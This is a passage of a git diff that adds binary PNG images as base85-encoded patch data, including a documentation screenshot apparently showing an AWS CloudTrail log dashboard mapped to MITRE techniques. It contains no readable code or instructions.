zJrA0W4e#Z#cxig4w+5Oc_{Za5ySfWOnMud6jo>adR(MY;b0*Jl$*R<+7LFLdzA*AK-Dl<4E$8oMN-x|g{^12kn&*$i6c{7Tr2T>kD;-OY#;{Th=1B|-vgTDd|a{~QFPv6 zneG`uH#&MXOr)fOU~&u0cmD_`W~&YUUoj`z{HNxyciKaHPTx4;g`;nR}0duL`Ce#3ZGW+l(^Jn`Yy| z?lVC}+Wg}m!njuHdf~nlu7wSQsTFOmxs^H@LzCVo2uEY9^Y?D7FcO|lZF7YDp#SB~ z1n$?rnyEayBw1|KsH}%DU|Vylp;fEXq=3aUqRWKh4s0?He)V{Ki~FZ)y=!MX9(}x1 zvyo5K?>)YnFt3&TK3Ne0t1qHisn~kW?RX|tR+8r`KLVQgqYCTaK#BI}@+i9fM8t%H zA73E6{Do66L=1F9T@AvQ9%XvF@IB0|ww}j=nAq8@^2P!gMbvEEQBYzxa2vm({D&lNyq5NxzWrVUMuZgzG|BoK&5nHN{9paZ1PC)pg}N%%-;M!v@LS7 zj$`)S==A*lJdOc0yTn>N=2x2}=mntWCEoDIl`NptNGL3^haD7)Jg$vBE7ca)9?_Z@ z80j8X+2_6RQv9jt(?%6h9LB{Xubl;q__*3^*}AG%+CD#JIroPs3|eVhc`HIIKQ)<| zPu|mZh(#4Xv8koS6N6-$Nu9m%iX!7^YW1O7q(xW!$q&G5M_wzsUdkWmhc|_-UU>fVH~-(fdKm|1 zNuGJgSfBctlmGwQ&m;csb^e!M7*OhWl%M?D-}aXe{=1TYS&*N4``^|3spb01m;bwZ ze_4>9di&qi`>Eyn%a{MVdVg7vpL+ZMe)XDYM=XASd5`I`-smsjPhC~}PRVVv7yk>o Ct~o6L literal 0 HcmV?d00001 diff --git a/docs/images/aws_cloudtrail_log_mitre_dashboard.png b/docs/images/aws_cloudtrail_log_mitre_dashboard.png new file mode 100644 index 0000000000000000000000000000000000000000..9506ce231b2d257d1f4bee06cdb6d94eed409a49 GIT binary patch literal 485100 zcmb@ucUV)~);%mJpdetw(6OT+y+lB|VxvQdbdcUV2q7RKqM{TL=}me%1Ft6j@}oW?VW5^#*0W!$72s#gG4x7jlu869nLLnYqa`sAe-$0&cp zgL)n1=-5OUhtyjyq&+>wi8FG?e#1kaoNDJMK8LAFgKF1^-*lxf#cnp;>fZQdAV z{~fn}G=O&k@;Iuy&m4GMyLHCo{h05$p4Nh2Nq61s$3W)TJ$%qp)(KP%T9)x>kSdZIZ{0(7qG=`c25r#`t0G9lg^IZz29KEosk|vX&^jl7N zbDMHhS6A1PxU-VU2>{~nfeX#c5wnop$;h|#r7FMalxGBQBrKs4sec1R9^pcU>I+(Q zZmCu0Z#rM>GKZ8Wv-IzS@dHZnwS?$s$br6P=x@5lOC}|COQ?^8*?YfhG2W-FXu|KT zjBAy7i--Ome3V~D!8{g-LIlq@#{OqQ2(8ZYPh z{{NbK0)En(+eQdi)8_GUP&M^-e{fcle{|=S`(5Y=_umF}z|T`7wCE0f4m*WE?j&`K z)_$z6#eS@8)PA&N(0;OF@+J1PmXF09*I&+ag>JzTmnb}%Wk1TUh4PiqLK%#{ljb zDuIJvXDam??FoTy$FZ^w`;nqXYWR~M#jeV6x2AeDq z@uVP=zn|sQd#BFq@@Y76(*zv_mih!GaySo+1KXD+@XbJOAfKky4L|YK)e_HsH?0); z!w)>d`9Bvbmvw4^dV^2D(tEJ0B9@*F9Op1zF|L@ST^yLJQ?8lC!9e^aTIG}jOd?z- zYdkDxln9lx!s0J;crq-$e!Qh|xij{Xvhov(r0mu8VPpSM_=Lx>VZW=f*~&+Rh0}Nz z77S(!#);+Wq$yAprssYoi?J8Xe$h1lmm&LKY*EgIZls}*-!nP`;~mNtxpMg^8b7KA zL?ee-Ap{6gFY`mLL9W8$%c-1SrtaZ~hMH}*?)Y-t%9!?SrP4OfBRvu1FHGlBIb~xJ zK3>eu{-g#hW6Cu1vAbu~m{&-?RKS!s0(Md-@2M%b#j~kljwqNB+OJ;Yn~}=&J_3R~ zx9@T1zmUa@_i|zUV`q0%5(q&Ye|%>984Ab_WCScF)k$|*TWt30oOye4X~Hi^ol*Eg zvhNlSUTIWq`<{f#$4@RAEqbktm0NBv4Jv`dk**&d-)8@D^M4G{g_IWsZaj6_-|Wk6 z2bH6F7Kd$=1@GlHq@lpJXr?;@sQxn#!4yfQt92@saNY&-g4I1$)i9R;82qAPrZER^ zv>zQ$r|T~l@V^HB7-h$WA|}76YK5WTKfqe<5lHm!u%6p2*Z&IGe8ErerL)7Fr@ln7S^9p|I zK=N|(FBAT6z)bU&N$1(`W)3`9%8K_#cMxGii5qe#t2HQpe7y-3w=-9a{^tO&TvqQv zZXogFc0&c=eR7gx05+Ho6hGS;qyGeAj?_qhm47Xpt)=tht*EoD%h&$A@wgjBrp-4> zJ;udr#{ptw`5=qq7%{<}B6zc;wDcW$yaJBY#Y1og#m|CQA}m%Xsx4y-J%zS$!)p7U zo3#ptA&~yf*7w!^`Z^E|9^xGI!`|74VJ~E0`==32g)&h-`6=8JB9ZLILxF$Hz<+vB zze7QZ4&F4gIReN4%^O8Fn-@zha60%KWP7b@&0tN>Eq4C@nW|%yE!?U2@gs1+qPL~% ze5*@ZD%Y9y%Ml`)|?%X5GI%LN^ideGKnl}%~KI+-&jDair)V5G7L zaox;2c(cO6%}Vi8u4Z|Bu5RfkXrz0vZkcuDN~#5tP&uLWo;CB}MR_5D2SL)H5sK!4 zJl>NjK7R6}B?X+CX=l(%GereDTPd30y!_9Z_;*K(mrd~RoWTz>+W3n>f4(83u;B)N zPNDoQ)7NagYKhe^|Mu|=1)+W%&ZxF+np=Vgg4X_Fx^AiEOSl&4RT2D;K{_W;F1wZi`S`Q#?44|_ZJi>+6AC9Ltoq>MlU8EpH;n!# z7=IbHU!GI%0{EnU*SNXcpRb$eHRu#ReyKN_D9i#oy?p1FwG?+{3guOcpU$1YXFiD; z>mEiz!;74FuqXe#Ty>rkI{8L+;xHyqXAJkUJ`ZN?%AIyTqo;SX?IqIjj<&0{250Sg z(jYt!tKhIz>?eqK>_5l&6fuiTGGY9C(&S22;z7a7%S*@j7e9C?*D$%&h)z0XB1HGg zl?GpM#@0>}))Wc~8bS*VYln_fuZ|hgu+}qRxH<5zkvL;)GSk{^Il2En%V4y`0R6VN zgd`}iHHL{#UZl%b0_fkXU2LMnkA8@dTM(LZ_bymLy+T5k@F!$G3;zpzmC zkCYNME}EeH3Hp!stBc)@2m{y6&W+XUcu3w5o9Vbe)#n@s{g9T9mMh2<_Yt9}KzWV$XSszm;pE zoDhf66h19bM|72VnhgHg#UynD+Vg>RL2 z%119!27@l`>OWT;`Y*wBhXU4i&!)yXGu2665hZU6J^Os=gPZ+S%#@RQi0NOm|4SxF z{dv+JQ#Z<~ytgs?q(|Q6+Mjcrk=CFju!hvRk*&X%Tq7A2+qE`*Wn(@Y~Mvye$QLK43sW6DrPMJX|wIhFOs z9J2l1OQz~;<4eDpM?(MLr~fv1PBM+ucqDLWuof5wb4nDx)ii0t24Fu=P~-j&A1HT; zh4MNo)E$ELke@Jr(V`zxk@-UC@72RgE);=rZ}f$%eo!Vtf#2M}1m?fTpcitsR3%UL z@2_&dO3_+wdg&LMlt};gi}#-q^S4JVyb(!&kP6ITaxu*ryEd(}J03)>L`d+YxcC3% z_W#ZL|7Fn~z1n^^z<$NmvjYCLu0FiDO)KV|kWWSlT-Zg92i#ln_q65T&e#9v{6~KZ z%U!C?&>?VaJXmV3=>L=@?wm+5&sF>SKaqsLU()~j>PH`n!YZc@|@ zG2nNc_|h4}OR%;u4yEu9L*K946Fa^PKw0^1@O*8*q{09HAN27W1>0`-*RMQ}+RVRS zU)KMuF2Vf2Vd1~e-~Sr!fGcO)cl09jVxxb{3ItZXoNqwlA0p66a%&q;JA419uv_iV zZvXdTxDeVPO_(_EAqC{E^8N|80hYLboxFd$_SJ6&u=A;mfP0G|Nnu&D1svV$D?X!< zM=Mj2%xtoixFl}5#hB%P=;sL*P0SlA*0Sm^HnXa&!3<+R77p(Cm!zOQN9-F*aH@AQXG3Przz`%4yp?HhO#T&vdquM4q^OLh$g2xy6XFA-o@fzPS}<(EvY7JTE_z;2*5mdW}0#E-Up7` z?rk|!nRL%>4eBED=K2nbn+oEy1-m(rO{r9;WG`Bdx0KuG6}g%c(k|h1D{^NqY|tk& z22aL3>;%p3<*ih2K4>oPnO_;NwEN^+{u$#%9A$;Sr9Zggx;nmRcA|IF!}+YG=cns? zrOeYs{XPSD^r7Po)kJG9R!@gsX@V$F8I}t4-rZCN$IpviTtoTo@%510$-eicBf^Lm z?#`L77?%v4pQ!vG`3~|3ZY9Bg6b1nwuB4(DbJxA<576m746@4`0_q1(oKZKh?EMD` z&p!E!e3HAQb%H_mz_}JlyV+_B-1wA08uqEC^1n-GzeY*Gk8{kD_EjwVd#@w9RT6}_ ze|luq1LdQLLw2aEe~>A5%2RtA41xHCN}4d=RShOySk|%_vd+IlXba{tgS>rTk+OK# z=+%7=ghyLSI}G6+ii7hNtSrR3FZ*=GmOm7ro7_safw%NcRC6J}ySwPskRE-qaAE#b z=5TX@*dv9HHED;o<)jw2R)CA{%6R_0R`}ANy`!6a0GL6w*h6UUpD;tMhACy zd*s!XUEadF@9uaEJlp&6{>k9pi~I)GS*l641G&)9i+sxIO7DO8g>wi!dpSI<>)#24 z-h+O?toWc>-oFm0G2I6{<4%_3gT0|5fZk2Y|qZ1%efL;GPO z&QlFl<2-Lf>?f-F7V02K^|ZiST3O0z44c5Gf`OxATotaMRvA$J>B>>sx9j{!KI3tA zewBPuEOV7fK1;deD?v1jVZ_p*6p7>1=6f^YGu?IGn_UwU)gaQ+P`;I?Q*rI$#GXmI zf2hsLkJ=Q$@DN5W#~RNS+aJNt#lq*H3(#htjG9HPnMcGPt`HqBftjxa?%Og2z9W>c zSN@|kVF?_v@}Hp~;vR+9d!u2g&S>74wRo_@m^uDdA7#y9*3DHrE?K|2y(MJfvW%GZ zw}wR6YV|2Rm&hFL32e6W`Fg9!)g;=K@Zn4~xoBUa?56FP<4)DEsMj+h78&(V;q3OMaZ*lAxd>mQ7kmYlQNyE$lq#MMx4YvllM^oT^)tNkkB|@pf&hNmn;649nPX zX}XYe;$8F3!0vrKdDVmSqE{4D5`HntLU$r84kaDz?Xj5~Pl>Whba^FfPg8ej!#O#! z1q?QkF&GGtU8y#@UDVcCt!2yGiG=z|@`)7va%)?DnL~H2OxNXv)}T(ocmGV1ayCrN zQl5F<%f)T)6wtObT)sus>#b~0cprS3F#>9F`eoG=nMuZD)K>Q2Gu~9M*5H&k=emQ^ zS;+cRo4vB&!up+fjRro=etc5pgllLnu&^>ZGW`-2z7r-l~-VSOEFJBzWPk`y# zrqKCBR@wAt&8@d_36wiF9zO);xQnh=)=DP84sJJ;5+X7NV<{42K5pFhy( z%hYFXDo{{)8(Lr{&dxVz~?{Or2`_IrXcgc+kMO>AdDX2zjt5m9GB)jA?z~*(t9uPR@}C$cMc%;Z)=xw z`>hgSTC!YH$_@XtXuD-<;1QF2Hh_ZXFG^!NtBH~@1YDYKx0-F&I^o?w)%TBT)jp-<4>O8 z-BlXPKxczN={j}vY%IUARRq|N}yPH~`bZxP?b=enE7LC1npU{;~G8V2h@Q<^Zu&#`lef|sm zma_q=%WVhHa0=2^_I;+i`Fcs=Mm$nEPIxXgh(VZ7udIlJ74ZX~qmh2F)Q&KT11t_n zkEILn%uMUA`cCys=XM|#dfP_hIT}|>U1uL}0>P*!8=13@Px8Xp@KVG83etsJ_hkmk z?S|w1Nc${QJ?8-|b`Sw$ecc|$sx#FRMyyRd z^gmdCHy5)TAV2*G(atSEFqT8=r_ep*fbtCR7 z1Ku_e0%sGoHsP;Xcvf0VaQa$Pj_c}0ADAnh<}%GvOR?m8<-74_(RC!vvWVbSG1u*- z_9O+!gRsk8)1KI|+l~pJi0!IO=od|uK%JQ|vrP^T$$AoKcSWg~ zhn>5`muLRX7H8&0X>7-*TwgA_l9j-h@JY`mMf4FyCulFst0agggun7zDYS~w6YCm` zNitg+%3TR}J1$ES?yK8qCAMzoZS725p0gDASI;oOARt_pJW_YC(RrC2m~wFd1L#=V z=*(pH7p|t5R!(}BUOuNwmEZ@e*&fm-oyk-vIN|sHC`-RXOji$~;4rswhsx0xxopGr zFfS3)rW5H{E+(BpswmUuSEK4h3E84Doj=n;IE4{kaPffw>xjTGb_rqgvy}cuo0>x;tJJ$xYZ}SSvrPQ5=5|h! zLQ^6tFaanQ`3LyFxbi)`KiRaZl}EZY5MbHfl)DxRVjq;*UWG?74LHl|*R5FB*OM`- z@|7AN=hf;+0$nKHZ)|p?;;j3nk6WrQI2bb<3jzczC;%IncOP7Xd=}wT*k=aR6t~-L zJ@qVm>Ztr)K+hM}{ak)+YOFF|2$w3g-DVZpZ8r6>nd>6<0}Qw2BQJCaHRu0}a04j% zkV|y0;C4fKHb?|{t6xpLPCeeCDcn#Vy*|@MOb3A5@jU0w;5~?E?NlILmzJ8e#e5QA zIcSXVMM+9;F$%vqPTO3S^|c*{E!tBR)iwxUuT~Z-W~$6Vca3{YRvz-1W#UP81rkzJ zJ&<~^4iTVq2OYFpT(0ex$#!7%bR~K=gBpORF5gU=2ROAb?S+`3oj1_?V$3@Z!v#s@ zem^50baD9~Xz1zEdQ4nZdbh^g4n=5pu*0|dg7u8E1nz!AW=T6PKRpyo_MX#q!|Z`} z3xkd$&iUi(331{MW3inAwF9dA0Ey`i;Uf1Y`fl86)MZgR7VzwhdNfANZfIBEXOejL z0WHz?6{oaMEX8r^U9eY96bDHPCmFd0ZTcr?`*%ljN+-2*HCu9ma6msEt0A{uy-)ch z{`!+oBbSO=`yZnkzV$x%co4J|_Kn&P;vq2UIHuX463~C|xG(MaHcAHk@#%FCBYAe=7pm8&Py9V?)NRwbdnF(1>5p2Bd457DA7+o-6nWt z14UDoU%eq|IFg!Sb)fMbE3p*HVT(+v^Xb;pg2lu~T8eFgZVNY~+04iXZpHMpIO;q@ zyJ2A(&yn#mEQ}FPe5~_jcA_1~E(tEOWXrjp!~U-ArWRhE0$~r&$re$Yi3XXSvGnqe zj$1R9jNX2PATpN1*ZQY6qBtvNr9mjxhcY?TZcf6>ugPxe$orye?Exf<7h*nm&sEAd!NVzQpoUbQZ zD&1M;IC|T>mdZQrYu8m2o81kSILA-?`qPsWDQ2vzI=yZVc9P2pXu(~ssO*FzF6K>l zF}@`x z1}BLjRzYir=B9!qV@ojfsP%XZIuaYciK(r&95v?c4qK5@?v5W+KHj@q6vQZ4JBU2* z#AM{8MJ44A%`uCPDM{%p|=w5Fs3}d+jpUaEVWA z9qUPXBLufq-_kyqvAg4<^dziTJXwA+VrAn`^MT^T#)&QIFJi$Ig{Xa7HU;%5Fj@tt zdHuVwKWXsh>0-dFEp6k3jbM*!KPm&b)}En-UU%V(Xgh$O2-dE$k_cz0N&_8${OQun z;WpPL8TGLO*|lqq35E@JOzN7TxEV;m6Qn9I1%GEiemD9Gr!X#kJ19S0UpNYeNQ!8ZdP zBq}ql?^k*isYW_|&_SO*W!cFBca89`+CSi};>2u8=!kV0`|Y*7>H+Fct9Wq-TL#I6 z)YqolYqKJY+fM}Qr|<<$yM0Y4vNEPY*J@j|_b%zyEmT%Qt zssivVG3H|FA-o3O$p~4G21Rd5?(L#qZ{`7BxbJ57uxFC2cgi-9r(^5udUujxs}@Ic zO+Ny%(EI+dZtFvwh*y~Ih23fqf3mOJu%S0@n5?v~TL!2Bg-eSem>ramTfILWV9YPU zjq1>LVs?(I65HB%_67Fx{&(_0n2n%aL_{8*73(ut9m06nN<8gnw={&DcW{$+8?}fT zPf1!e$yQ0Q6=+a9fCm!54YJ*S96MkR#=GC#r4Y4;`0#|7`GHfXxnw4=RfwG|#RM_C zPiQv4PsP719@Di-vcULms-T;y$?pfzGzF7hSh#0=L8R>NRFIN%1Fi~9+R-QC9}XfQ zD}=bKVRxDiX1ETWL+`_rg)QFh0hQ(oc4m81Th@v3&eSpDC~l(KZGgma$2rwdi5E2& zZ}$%6wt(L|s%c4%A~>7f4ShbQ(zFZlE;My`^`M7+b9J42?p{m_Ex1=2S$*GZ{VoP3Rw;;`wt z>KM6kHn3x&MkGzX6|e#@q#t4`&9CTJwiBNZ7rN6M6MVXoq=t@rj$M z4@ssgEeKpy{M=b>rt0oD$Gb;K+hJwf`E#?nD7vD5T{;v*t=0zTw;^T-e6+2Rmt^VA z7hu65bW3Z{@kgCO0G+x|-)E}?*{mmJArCCB(A$sJ3?9r6det}J1|m9;I)!4iA-2BT zwh;R%9SY1t71QZ?W6qzGvE@AGB|}0Et?W{cV1d)#Br#CjV~7iTR~E`(zb0@Z#gK=(Dpt$&Pc@8kn#C=RFEAn zG{2$|+lykhVOXp~OW+1L9W_xYOt0WedjXf*(xY!1?!@fvRmyf*8Hb717t~x@^%*WO zbTWc(!UaUxecWnyAY^RZy0|&4xg7L>9>_4w&qb`)B9baH3EmTG=eybz(c+*auXxY} z`g(6M-+=t&!5KBuFx>(_LtL42pC-|0sUDR(oau6W*x!5pi9a4b06SwZ8J?w_U?D@^ zvg;o&wVAjHUOSW6MsJsFYV3zI+V6GMIH}W?x3<PmfJj`U()j?u5>;w+nCw<0w;s`o=WVUmeVZa6YO5@P`71`ko)!WcdFQ% z|0H4`l_;P>Ti+BJ`39yB3FyOe)BLH&?$dINB>DX}+{x_=&JB$;T=rWJGpgxs$3y+K z!=W7xdCCs?q1E)bV0|mtQYP@i;3?C zFX+?&qEnq}xvPMl4FII8mr=FJZiII54eYwwNq^= zCXQ9pKAX9OQrVGL@SQmCCG4R%9z{q7amo(d-B?3+kq9BlYD;CBWQ zGrti9)vcopl_ZXMk(HHMQqAzFjIoB|0f*$xyIlE;uyCmdSG&{ATvz52oGLijUqYjX zd;9!h^F=7xdZ4J=sm;`Hl^#cH$&jlS$14ljW@T}6=Z0kfz8|U{2i*XaDQBF4Q z*2}cNh)=&11c1XuO}h}EgIm)dt$7+??C}z1+06?3NE^~hd!QOG+5t!d+)|U3^+#gz z_}nR_|<1hj5KKEOF9$>~Q63`Fr>rw6ZxpCrCQc zj>;O^X-;|eeZF6zIC5U?Zr>|^MN8Vc*E=X%Z|T->E~h2$q$`BwQIQ{Fx2awZp3RdA zpFnu{2XTIdS##82uVLy{9Y??KEDK+L!|vrbr(zCokyZ-y`HLrN4|x%U+yDqQf5`}+66L&CJHG6Q%C zH!G~2C+#<$+xvxWDOej9$a8w?vyfauO88xe)w)?$Eg^-4;rvuUSXkY9qT{K9S?ANO znOJ=yn2NN3oD#pI8qf>l+OGr&qrT~oJaCLMPCyUs7Vc29-L=M43mj0B)nGmQmZ|$x z8^^TL^@F^%^%qvg<2K|e@e3aSupIV^=f0yrbUVDN=8Yb)KN(ihR@a>{w*$p6%B}}i zuh)b+KxU`9Xg3*%JOa!}xH_{QBxRC#4GpTB+F=3_wiHV814BbjAI_J1z26xxcZSsu zA5Vr4PE4(Y)KUy}tqTGa>1D% zMod%vYBEFbf3W=J`;jlITg!vD0I083zfrR%%Y0h10nAK2u*O$8@ob-f=h_TZO!K^= za#6=bg|i@6!6`3`4s6!?Zrw_wO62a=P@%DG;o~2MS#aVG**8w~%<0O-rdLG2JUWgg z7wrHODy>2N93*Yh!g`0&w9#-=ue5_=+B<*pX3AOQ+nU+$d%A7Ri-GEOa6m#ypXq*< z9TJiW85Gd#Z{ZGp6PSWubMqW2GF7S{O?K;%=+lWBnt`ksfcj|9og2PijH!naquH-= zpq7@F1=d8&VgP8GLZS5O=E)l%44M*0@+NGzUzW>b_W`dk;%fUcZ(Vb_d|L)e(Jq zsLup~fycn~SO<5Cy+1#0-lc43Aw7I7?BZvY;ay}QYK+XMGx$Oze{teFT1qm-9d(^` z-^0|HFXgM7V1M1H@qc1?0Y5-bfyT^wr~4E?tQ`PTY%UmNB)G5dpVy<3&eywZ5CGKt zBRva~(ifHtBo4@7Euo+Uz||P6t(4dzsecl_qe^Hz#QPtL0EJH8DBwYRUD2VLiIj|| zN8=3|jVI|m0dH;`r{Z|OW_1fl0z|^NUEOMNpCUo1D(lRCr~t}ZD$r}@dC&P+aWhX$ z=pDs)D4_`H47pLkzEY<8-Tfq)$2==l4>4Yr=?&gv@-)^PTzonLDe}E_?qOwWX5dy? z*M*y3-Eyz#h^h{INyM2>PN@V0OJit_URNB|qrc30WK>G#8SGO z?w+{AL<8mp+GP6K=67EFZnQ4b#}${ZX-wG{DZ9R!L*jnz<+f~r{1t+uohK67c3ZEm z>p;@1qg!C}%lMX97xb%_a5Z9^5XNUmPz(VrFGW1dQ>danVONWNzb|xc4T(=M z4riV%tmqF|sYkT55eL&i0=lc!sFf6Gil59~%PFX-F;$Jg-FfYP#C=Po zy(WA;oL!uxv=p0A^qxq&uoX;8nN4{u=q0~d7R(d}RPfvHxW{M9dKG2ZP+HDX0PG$uB}Vv!hg>~z2*p7gHwh5(9F+#&s5Q!+T7oDb5I?IYe@ zlurMvflw~_g@U)wg^KDTd}fT%Q9*i1-&@(gONXggK8SjB5EtIO-(2bwc{^7{J`GsF zUCK$4gPflOFCxCOBCB~)A8>el{6m^Oszb1knJ9H2=3W|d(Zj-GYsgSgftbVCz)?+l zcY8ofslHdq7Eyq>bU$w@S6@|LZkuN;Ta8P}JUPr8;f3D%yr6g?JwFr>z~pyV^AsBi$Y7 ztv2c3%Sef9^vr^;Kn}x19VbR|-mWb4rN8$h2h;Qib(())JD}PmO|G~ctlPL4c403& z$${bxae#N}O%9F$#>Hbf2VM69KV#H_A*;!l8Z$BrHf*6#;rSB>DTgTgEp-~k5Y7)o zFbM#Rv8g_(={>!^P5vT-sJDM=c6!3u3D0#&F6()bz_} zmR_07GViGX;)*CdyAQ2qSmRz^xM#e6s;a24DR!Upj6MHa!qT@wpK943udlwN!}FRW zH_1TtT*>s@ZVIiOmIp}O_{SL>~gU6y<$UU*bCKT<-{{L*vKD43$VYIo2m)2?kO>hTA>(O2S z)3|UFqUE9Mv5*ggSW|(l=L~V~gj0+0wnd8=4@1}~YM94LCeRF3QEFxwq`^HZd$1P7 z^<@zD9cV#_AXdAh0}9Z!Sui1YLqpwgRx#TVSSSh*84hJwJZcJ6Jv{i@#He0*FjmG( zmO>sBkA=ne1OqB@-#d1R@2DY(3`*)6%st-3BlR`*lTlCV?5YY~<>w2xlhPfso=jC1 z4XSwD?l?J8p{xnPm@kKhy?G^9a^mFLjVB+rFR9<9>^Qx60~TIbeQ4!+(9|ct#tCn*H%fXV939}WJ?`^X>FVpyd1$0CU zQIRmMG=)UBx(DY00+xjrqP4C`UAF)w+r)!Ak*_meJ3uf%V*vmICzUB@3%H|r2FJ8g$8=IflcE!w%x^;H-G}o5=m2Y zl0$7y=X0z6LAvKO`n-4&>Y%CAzQy2uj7w2>tk^K)BV6L0`FBxy z(Fxg(Nrp#Wm0dEiHv!X~Y_~$p-0Z9`bd(|FnGm|`1vYnN3t5e#d7`^!K}i;?`}0wL zgBV@6xj5?pZQOwRA@1EK)7x_uT~Dxg2-*9`)|YF>a%nFV8Knn|i+x_)oq3lt zh-v!AcL9jJqs#|%!Ay?AZx)Yi_BlP;II5%Rw`p7;xgOI79O(+kqjHPX>{Dk35Vxxi zg3aC8&aWuBXsvQ;knuw)xhfz|gQ!qM)8Y?>vMf4Q@T7Yb=r(NPRq^NU>~+cB3!)J9 zF)@g0Jz&grGeHeZdu8AE{%k0eD){`IQ_?*rP6l3sUb@G#oh!TxG;BBtoUEZ@+UdI! zOg7YNcnGR^{6s6l5cJJJE4&u)ywYJd{ugh`W=nVzU8{Hii619ybRHnP%xncN)^bIF8 zR!$}zu7tqFROMR%GB-?2=-?4q3YlOSYz^a>p_*dw3cYr4&_vf8qP@-`y1)U`7|&1j zz= zvzF$+SGet@gw=N{1%1c*`xkK>hI$nzG!&|7-#%X4gc_ru;@ke_b&W~@zfKvOYrFJP zF3ot-H!Umd)RuZbp|Y7ls>^+KV${=BJy-L(luYE|N^u)!1ygl$WN*{zjE;!QFFPj<|LI<~blkE5p zg>1fG)8`xU*k3Jhu;BoF$E{|RPkxwnxzkde!KRJAUUEaB`^K1P;WH=sv2UhV>k^gv z18>KFw{R`nc3)UTA4XM!dzq9JDaL`G$(vm~A8PEwrG2h@!1GQAG@aa9f@_&xw9-A{ z8-N*hd_wr=`cr){dk5t$I$Wj@dkoet6WFcsjj}w2am+y2HG)&Hem1tsxIHF0k;) zC%$mjUC0@*reKXvIbx_g-)tvw&+m*_Rlarej6ZoYC1c7)a2cnz26$g(DSKucqUduD z&hczAgs!LwlYx1YZ+egqObecEnNwCp4wDsw$Ur;v+x>J4zw!6b{X#Q(_njRH<{gjC zCBK?xMx1%`JS*63#}|C-$EGO_*HLlR^RLy~@6ockdu})M8YNjXwt)UV>QNSCjF}B&6Ca}PR#nmf3K;uA6*ik zmc@C!>lApr+RN!bd-|{T2D#TSc%D%=qZ;2V@qMTAo8+nr>KE~TzVWl;te0`Ui;;69 z)n)nI*CJ$T&1lW5V!`*f9(Yr|*(N=x&l^IoO3JDwSj_W zgzhmyH5+qpFd;8KZ0|^zGL3rLmiIQTv8d2+gqVVwM}Wp+jQvK#cx>jArFxp~@~)-7 zEh|_oMcBry$M-luG#Q*~)N^_LVX_OKI*^>jG?H5@sa#UO0@$64pgUDo0!0AuF1V zVUnUh00X@;{3LSg0R*swF&Wc{gC#43Wa66v_jI*GGU=*HNeX1L!TqSfT%?sn23>^X zzkZqPskBZrR^eVwc!R%9{G~aD&2P8tW8^Z9eY-UkHH7BEB%#-~f@ zB6y~9?MP*Tr*eW!hnu9(hug!(lh@Ksoc~^**bc@wOAcdmq%gn^HHRMf0`rMD&s&G>B}f8R*uPlT8BDK>r;QSHF3 zC~a0&qLv7!@a!O!2T_` z=4A|@|KXL-R-oNUX>|`>`6(JM_|VOTx_M4Mx`Dl})oxZAFo$p*j=%h1_(^@LN8ZKG z`)#G+fDa#RS-vQ;5%{A&tG8liOO_*@NBDtVG>?v;N`k0hKiSA{X-n5{3Opt}J#${# zA7WEw*}XI!N-T`>P+f>EPh#SAZN5s{N1LlkFItzPK|O`)X?196>c41q>hlu@km85> zS~r`-NbzyYl|; zFDtdO1-36f{3d^gJJ`HOVxGOtWURu$PJs31vE47{)kfC!R*yszuSt&>S>xRopF)QM z<)>v24@8dI1M7H{kd)OT4M1!gGBVQteC4!|<2Xrbz*k;<@KSBZ*lTH| zgNuP-`QlJy0C|ojmrCF*a!e@yIn@T+R5$*hLxvTOCau=u?R)3;y|eMW1(Z(C`mA_V z=gm8;$i=yL*7@F>bL0$@HVSh43F?V%_IR<~$=kktK(oh}1MuzVQ6XX8J&6)oKo8_J zvLkl5PXYZBE;7ew{@_1u`MGlPUhR!6-9b|~pyqntlxkaQ)q7*j?mF!udd5dVmpFB94Ceb2dW7voE~e+V=O-qH@n0v^!#YMH*V2D>~U8+GYs zbKrx$Vb7J2n_KG;HS}IcklPNmOIB_0aDl#4mTH0p)(pajDKbs>7!m*{ zh&!F~?wu6&DbUXSJPPzOr4w`=azRFZ)3fs8_MZjq$8~DQ&*V||yeXruouz^{%@=B3 zud&*#qc_WYuqh7ESBN1gZ*_Afqt^N{#zTkhyH`TFz#NX@t0R*8fhR|fsy}ltL_}%s0 z6F{u0TaQQVx6<{r>OT<9M$SY6ZOhn&T1>{HsIJ}hnH54qV-U?aUcgcRsN<1Ty@1%N zS#O*NbRufwSEspM(}T(4hz1lY1o61sk^F7m0q7vusm(yCUH`r_W>*+nx@dWZWbcLR z?|rL$$g+Y$);>l{_8R0I95t3NHs1S>D)D#jqt-Gvpdp&ucj~CG02}AqM91_@$uKl* z_^dym4jnY$$I874H$cxyGd=qTk(;X>4EQzKrx57y(`V&V<>uYl+dONyz)?rtdM_%Q zrC5XLK*P3yn&ga-Ror(J@C6QEEtNhSs`0gp>sne-und8*qkMWg|`Gdp}_g503> z);EwuuqUuBq{|ool8$Jrn~%&%Kx~RTmLop`ag#6*$>Fw4rW2)yt4y7PbI4S=yF2$dC^^W9X^K_ai6&u~StLxVbo=j(B zVjdN>j1NoJ4$<~-y6hsSWn&p-$X9-p-BU7hU(L<>3?*$7`(*b@akUFwx|_>p?M2f{ z#L=19W)))nXDDrdQ%BWVZBsj{NVD=9j}6Ss6cK&n3_0IemMq{@JJ^}P&CEVj5sEud z*^zKjZ-aL;;L%>#!-2x3ycyjp>s+|6h-;Zf%XC4Ar*NCQRF}Dh4bMMzqrO#mA-luM zhS4&~_rhbcfUi88i+sRYJOH$rB(O;Pl=X4-TrK}@0?mAEZP5<2n_M{;EL#AW7JgIE ztMlCnRxsghK-0K31M@cVxbCMuoq~cBS-mtKF-dd5w=@J!fc81>2dPiRT-3ev{A?kx zSwGT>_FcX)8l{mr`(fz97Kf;Hg#Xj|WSHX@Y>MHfk?s+o>l)0wE`e$3eNC4+-CpCd zsgUdT>?KsI9LJsF`__A9J7BJrZGVJ;cf#)-v(NMDK_XlY8zUqYha z8?V513gfO@a0+aQ#9R~74%r+O%c}9f#hYBxpEr^( z=(A;`XB8EchV6&~{&%t$_BjTXtED?xo7y&?;_oPhTkT5^@$!dZimTwaS9)pZm(HG^ zyEt@htR_oE4W5Z*PqKgf8nl(cds|gFMolND*sQIG3X>1C!kpdVE8?X4f2@6XK$F?> zwjv0E2&gm>P*@wiBOOsdL5d>1DovyWq_@x(QL3)eyEN%YhX4VQBE5GKq(guJfj|g> z@36afcYk;HdiSp1Uxeh%$tiQ@%$b?znX9>HA=h{pbEERQiP85hPAz)#c65K7>RmRN zmLv~8k1pb%N&r`5k@Z~eg=<^6Odxp~IX#J)$X}vQ=Lx#_G)~0Mgk|;cCpg6((ZFM* 